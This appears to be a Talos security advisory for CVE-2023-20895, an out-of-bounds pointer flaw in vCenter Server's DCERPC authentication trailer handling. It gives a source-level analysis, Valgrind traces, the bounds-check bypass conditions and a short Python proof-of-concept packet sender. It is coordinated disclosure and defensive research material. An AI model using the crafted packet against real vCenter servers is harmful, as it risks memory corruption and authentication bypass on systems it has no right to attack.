CVE-2023-20895
A memory corruption vulnerability with a potential for authentication bypass exists in the DCERPC service as used by VMware vCenter Server 8.0.0.10200. A specially crafted network packet can lead to out-of-bounds memory access, which can lead to further memory corruption. An attacker can send a malicious packet to trigger this vulnerability.
The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.
VMware vCenter Server 8.0.0.10200
vCenter Server - https://www.vmware.com/products/vcenter-server.html
8.1 - CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE-823 - Use of Out-of-range Pointer Offset
VMware vCenter Server is a platform that enables centralized control and monitoring over all virtual machines and EXSi hypervisors included in vSphere.
The DCERPC library exposes the do_assoc_wait_action_rtn()
to clients performing RPC requests parsing packets received from the network or a local UNIX socket. The packet header has the following type signature:
typedef struct
{
unsigned8 rpc_vers; /* 00:01 RPC version - major */
unsigned8 rpc_vers_minor; /* 01:01 RPC version - minor */
unsigned8 ptype; /* 02:01 packet type */
unsigned8 flags; /* 03:01 flags */
unsigned8 drep[4]; /* 04:04 ndr format */
unsigned16 frag_len; /* 08:02 fragment length */
unsigned16 auth_len; /* 10:02 authentication length */
unsigned32 call_id; /* 12:04 call identifier */
} rpc_cn_common_hdr_t, *rpc_cn_common_hdr_p_t;
At [1] below we see req_header
pointing to data packet received.
INTERNAL unsigned32 do_assoc_wait_action_rtn
(
pointer_t spc_struct,
pointer_t event_param,
pointer_t sm
)
{
...
req_header = (rpc_cn_packet_t *) ((rpc_cn_fragbuf_t *)event_param)->data_p; [1]
/*
* Save the security frament in the association reconstruction buffer
*/
status = save_sec_fragment(assoc, req_header); [2]
...
}
The pointer is then passed to the save_sec_fragment()
function at [2] above, parsing the header data.
INTERNAL unsigned32 save_sec_fragment(rpc_cn_assoc_p_t assoc,
rpc_cn_packet_p_t header)
{
...
auth_buffer = assoc->security.auth_buffer_info.auth_buffer; [3]
...
auth_tlr = RPC_CN_PKT_AUTH_TLR(header, RPC_CN_PKT_FRAG_LEN (header)); [4]
auth_value = (rpc_cn_bind_auth_value_priv_t *)auth_tlr->auth_value; [5]
...
auth_value_len = RPC_CN_PKT_AUTH_LEN (header) - auth_value->checksum_length;
...
if (auth_buffer_len == 0)
{
...
memcpy(auth_buffer, auth_value, auth_value_len); [6]
}
...
}
At [4] the RPC_CN_PKT_FRAG_LEN()
and RPC_CN_PKT_AUTH_TLR()
macros are used to get the frag_len
and auth_len
offsets respectively from the header received data. These offsets are then added to the header
pointer to calculate auth_tlr
. In the relevant macros we see:
#define RPC_CN_PKT_AUTH_TLR_PRESENT(pkt_p) (RPC_CN_PKT_AUTH_LEN(pkt_p) != 0)
...
#define RPC_CN_PKT_AUTH_TLR_LEN(pkt_p) \
(RPC_CN_PKT_AUTH_TLR_PRESENT(pkt_p) ? (RPC_CN_PKT_AUTH_LEN(pkt_p) +\
RPC_CN_PKT_SIZEOF_COM_AUTH_TLR) : 0)
...
#define RPC_CN_PKT_SIZEOF_COM_AUTH_TLR 8
...
#define RPC_CN_PKT_AUTH_TLR(pkt_p, pkt_len)\
(rpc_cn_auth_tlr_t *) ((unsigned_char_p_t)(pkt_p) + pkt_len - RPC_CN_PKT_AUTH_TLR_LEN(pkt_p))
...
#define RPC_CN_PKT_FRAG_LEN(pkt_p) (RPC_CN_HDR_BIND(pkt_p).hdr.common_hdr.frag_len)
#define RPC_CN_PKT_AUTH_LEN(pkt_p) (RPC_CN_HDR_BIND(pkt_p).hdr.common_hdr.auth_len)
Simplifying the calculation from the macros and the offsets above, auth_tlr
is calculated as follows:
auth_tlr = header + frag_len - (auth_len + 8)
Since no checks are performed regarding frag_len
and auth_len
, an attacker is able to arbitrarily set the pointer auth_tlr
beyond the limits of the buffer, or rather point before the buffer. This allows an attacker to reuse memory that resides in the address space of the application and will be interpreted as an authentication trailer object.
At [5] above the library reads an auth_value
from the attacker controlled auth_tlr
pointer. This auth_value
is then used at [6] and copied to auth_buffer
. From [3] we see that it is a pointer of the assoc
object. Effectively, an attacker can control the source pointer of the memcpy()
call, making assoc->security.auth_buffer_info.auth_buffer
contain data from other parts of memory.
In do_assoc_req_action_rtn()
, accessible to clients with an RPC request, rpc__cn_assoc_process_auth_tlr()
is called, where we see assoc->security.auth_buffer_info.auth_buffer
used for client authentication.
INTERNAL void rpc__cn_assoc_process_auth_tlr
(
rpc_cn_assoc_p_t assoc,
rpc_cn_packet_p_t req_header,
unsigned32 req_header_size,
rpc_cn_packet_p_t resp_header,
unsigned32 *header_size,
unsigned32 *auth_len,
rpc_cn_sec_context_p_t *sec_context,
boolean old_client,
unsigned32 *st
)
{
...
if (assoc->security.auth_buffer_info.auth_buffer != NULL)
{
local_auth_value = (rpc_cn_bind_auth_value_priv_t *)
assoc->security.auth_buffer_info.auth_buffer; [6]
local_auth_value_len = assoc->security.auth_buffer_info.auth_buffer_len;
...
}
...
RPC_CN_AUTH_VFY_CLIENT_REQ (&assoc->security, [7]
sec,
(pointer_t)local_auth_value,
local_auth_value_len,
old_client,
&sec->sec_status);
...
}
At [6] above the auth_buffer
is copied to local_auth_value
. At [7] it is passed to the RPC_CN_AUTH_VFY_CLIENT_REQ()
, which as we see in the debugger calls rpc__gssauth_cn_vfy_client_req()
. This in turn calls gss_accept_sec_context()
at [8], an authentication function used in the Kerberos authentication system.
INTERNAL void rpc__gssauth_cn_vfy_client_req
(
rpc_cn_assoc_sec_context_p_t assoc_sec,
rpc_cn_sec_context_p_t sec,
pointer_t auth_value,
unsigned32 auth_value_len,
unsigned32 old_client ATTRIBUTE_UNUSED /*TODO*/,
unsigned32 *st
)
{
...
gss_rc = gss_accept_sec_context(&minor_status, [8]
&gssauth_cn_info->gss_ctx,
NULL, /* acceptor_cred_handle */
&input_token,
NULL, /* input_chan_bindings */
&src_name,
NULL, /* mech_type */
&output_token,
NULL, /* ret_flags */
NULL, /* time_rec */
NULL); /* delegated_cred_handle */
...
}
Evidently, an attacker with a specially crafted packet could make the library use memory outside the bounds of the original buffer as authentication data. Combined with a proper heap grooming primitive, this could result in authentication bypass.
There are a few significant points for exploitation of this vulnerability. First, the following condition must hold for the client-supplied packet header:
frag_len < auth_len + 8
Consider the code in receive_dispatch()
:
INTERNAL void receive_dispatch
(
rpc_cn_assoc_p_t assoc
)
{
...
auth_len = RPC_CN_PKT_AUTH_LEN (pktp);
auth_tlr = (rpc_cn_auth_tlr_t *) ((unsigned8 *)(pktp) +
fragbuf_p->data_size - (auth_len + RPC_CN_PKT_SIZEOF_COM_AUTH_TLR)); [9]
if (((unsigned8 *)(auth_tlr) < (unsigned8 *)(pktp)) || [10]
((unsigned8 *)(auth_tlr) > (unsigned8 *)(pktp) + fragbuf_p->data_size) ||
((unsigned8 *)(auth_tlr) + auth_len < (unsigned8 *)(pktp)) ||
((unsigned8 *)(auth_tlr) + auth_len > (unsigned8 *)(pktp) + fragbuf_p->data_size) )
{
...
st = rpc_s_protocol_error;
break;
}
...
}
At [9] the auth_tlr
is calculated in a different way than the vulnerable code we saw at [4] above. Here, instead of frag_len
(supplied by the client in the payload), fragbuf_p->data_size
is used, which is the total number of bytes received from the client with a maximum of 0x1000
bytes. Note that if the client sends a small packet but a large auth_len
, the bounds checks at [10] will fail. We can however bypass the checks if we send a large number of bytes in the packet, more than auth_len
.
As a concrete example, a client can provide a frag_len
value of 0
and an auth_value
of 0x900
but send 0x1000 - 0x10 (header size)
bytes of zeroes in the socket after the header. fragbuf_p->data_size
will hold the number of actual bytes received from the client, 0x1000
. Then the auth_tlr
will be calculated as follows:
auth_tlr = pktp + 0x1000 (data_size) - (0x900 (auth_len) + 8) = pktp + 0x6f8
At [10] when auth_tlr
is checked, if it is inside the packet bounds, all the different checks pass successfully and execution continues.
Another issue appears in rpc__cn_unpack_hdr()
:
PRIVATE unsigned32 rpc__cn_unpack_hdr
(
rpc_cn_packet_p_t pkt_p,
unsigned32 data_size
)
{
...
drepp = RPC_CN_PKT_DREP (pkt_p);
swap = (NDR_DREP_INT_REP (drepp) != NDR_LOCAL_INT_REP); [11]
...
if (authenticate && swap)
{
...
rpc_authn_protocol_id_t authn_protocol;
authp = RPC_CN_PKT_AUTH_TLR (pkt_p, RPC_CN_PKT_FRAG_LEN (pkt_p)); [12]
...
SWAB_INPLACE_32(authp->key_id); [13]
...
}
At [12] we see a similar vulnerability (reported previously as TALOS-2022-1658). This issue allows for a SWAB_INPLACE_32()
operation in a calculated pointer that can reside outside the buffer at [13]. We can skip the code of the previously reported vulnerability if we set the swap
to false
by setting the drep
flag in the packet header to 0x10000000
. This allows execution to continue to the vulnerable code in save_sec_fragment()
.
Testing with Valgrind with
$ valgrind --track-origins=yes /usr/lib/vmware-vmca/sbin/vmcad -L
yields the following error:
==30981== Memcheck, a memory error detector
==30981== Copyright (C) 2002-2017, and GNU GPL'd, by Julian Seward et al.
==30981== Using Valgrind-3.15.0 and LibVEX; rerun with -h for copyright info
==30981== Command: /usr/lib/vmware-vmca/sbin/vmcad -L
==30981==
==30981== Warning: invalid file descriptor -1 in syscall close()
VMCA Server Functional level is VMCA_FUNC_LEVEL_SELF_CA
==30981== Thread 20:
==30981== Invalid read of size 1
==30981== at 0x5813A0A: save_sec_fragment (cnsassm.c:4122)
==30981== by 0x5813B2E: do_assoc_wait_action_rtn (cnsassm.c:3370)
==30981== by 0x5816790: rpc__cn_sm_eval_event (cnsm.c:768)
==30981== by 0x58171BB: _RPC_CN_ASSOC_EVAL_NETWORK_EVENT (cninline.c:128)
==30981== by 0x58128A8: receive_dispatch (cnrcvr.c:1241)
==30981== by 0x58136C2: rpc__cn_network_receiver (cnrcvr.c:342)
==30981== by 0x57BE27D: proxy_start (dcethread_create.c:100)
==30981== by 0x7155F86: start_thread (pthread_create.c:486)
==30981== by 0x726462E: clone (clone.S:95)
==30981== Address 0x8547265 is 5 bytes inside a block of size 16 free'd
==30981== at 0x4837D9F: realloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==30981== by 0x613B695: my_vasprintf (rtlstring_cstring.c:267)
==30981== by 0x613B695: LwRtlCStringAllocatePrintfV (rtlstring_cstring.c:301)
==30981== by 0x117F04: VMCAAllocateStringPrintfA (memory.c:153)
==30981== by 0x11B824: VMCAGetUTCTimeString (string.c:397)
==30981== by 0x11785A: VMCALog (logging.c:344)
==30981== by 0x11574C: VmcadChown (fsutils.c:289)
==30981== by 0x115C15: VmcadRChown (fsutils.c:335)
==30981== by 0x115DA0: UpdatePathOwnership (fsutils.c:378)
==30981== by 0x10F032: main (main.c:130)
==30981== Block was alloc'd at
==30981== at 0x48357BF: malloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==30981== by 0x613B622: my_vasprintf (rtlstring_cstring.c:227)
==30981== by 0x613B622: LwRtlCStringAllocatePrintfV (rtlstring_cstring.c:301)
==30981== by 0x117F04: VMCAAllocateStringPrintfA (memory.c:153)
==30981== by 0x11B824: VMCAGetUTCTimeString (string.c:397)
==30981== by 0x11785A: VMCALog (logging.c:344)
==30981== by 0x11574C: VmcadChown (fsutils.c:289)
==30981== by 0x115C15: VmcadRChown (fsutils.c:335)
==30981== by 0x115DA0: UpdatePathOwnership (fsutils.c:378)
==30981== by 0x10F032: main (main.c:130)
==30981==
==30981== Invalid read of size 8
==30981== at 0x483A15F: memcpy@GLIBC_2.2.5 (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==30981== by 0x5813A3E: save_sec_fragment (cnsassm.c:4148)
==30981== by 0x5813B2E: do_assoc_wait_action_rtn (cnsassm.c:3370)
==30981== by 0x5816790: rpc__cn_sm_eval_event (cnsm.c:768)
==30981== by 0x58171BB: _RPC_CN_ASSOC_EVAL_NETWORK_EVENT (cninline.c:128)
==30981== by 0x58128A8: receive_dispatch (cnrcvr.c:1241)
==30981== by 0x58136C2: rpc__cn_network_receiver (cnrcvr.c:342)
==30981== by 0x57BE27D: proxy_start (dcethread_create.c:100)
==30981== by 0x7155F86: start_thread (pthread_create.c:486)
==30981== by 0x726462E: clone (clone.S:95)
==30981== Address 0x8547268 is 8 bytes inside a block of size 16 free'd
==30981== at 0x4837D9F: realloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==30981== by 0x613B695: my_vasprintf (rtlstring_cstring.c:267)
==30981== by 0x613B695: LwRtlCStringAllocatePrintfV (rtlstring_cstring.c:301)
==30981== by 0x117F04: VMCAAllocateStringPrintfA (memory.c:153)
==30981== by 0x11B824: VMCAGetUTCTimeString (string.c:397)
==30981== by 0x11785A: VMCALog (logging.c:344)
==30981== by 0x11574C: VmcadChown (fsutils.c:289)
==30981== by 0x115C15: VmcadRChown (fsutils.c:335)
==30981== by 0x115DA0: UpdatePathOwnership (fsutils.c:378)
==30981== by 0x10F032: main (main.c:130)
==30981== Block was alloc'd at
==30981== at 0x48357BF: malloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==30981== by 0x613B622: my_vasprintf (rtlstring_cstring.c:227)
==30981== by 0x613B622: LwRtlCStringAllocatePrintfV (rtlstring_cstring.c:301)
==30981== by 0x117F04: VMCAAllocateStringPrintfA (memory.c:153)
==30981== by 0x11B824: VMCAGetUTCTimeString (string.c:397)
==30981== by 0x11785A: VMCALog (logging.c:344)
==30981== by 0x11574C: VmcadChown (fsutils.c:289)
==30981== by 0x115C15: VmcadRChown (fsutils.c:335)
==30981== by 0x115DA0: UpdatePathOwnership (fsutils.c:378)
==30981== by 0x10F032: main (main.c:130)
header = bytearray().join([
struct.pack(">B", 0x05), # version
struct.pack(">B", 0x01), # version minor
struct.pack(">B", 0x0b), # ptype
struct.pack(">B", 0x00), # flags
struct.pack(">I", 0x10000000), # ndrep
struct.pack(">H", 0x0000), # frag_len
struct.pack(">H", 0x0009), # auth_len
struct.pack(">I", 0x00000000), # call_id
])
zeroes = bytearray().join([struct.pack(">H", 0x0000)*0x1000])
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((IP, PORT))
sock.send(header)
sock.send(zeroes)
In the snippet above we see the ndrep
value set to 0x10000000
to bypass the previous authentication trailer vulnerability, frag_len
, conveniently set to 0
and auth_len
to 0x900
since the value is in little-endian. The ptype
must be set to 0xb
, since we need this to be a RPC_C_CN_PKT_BIND
packet.
The vendor provided an advisory and fixes: https://www.vmware.com/security/advisories/VMSA-2023-0014.html
2023-04-06 - Vendor Disclosure
2023-06-22 - Vendor Patch Release
2023-07-13 - Public Release
Discovered by Dimitrios Tatsis of Cisco Talos.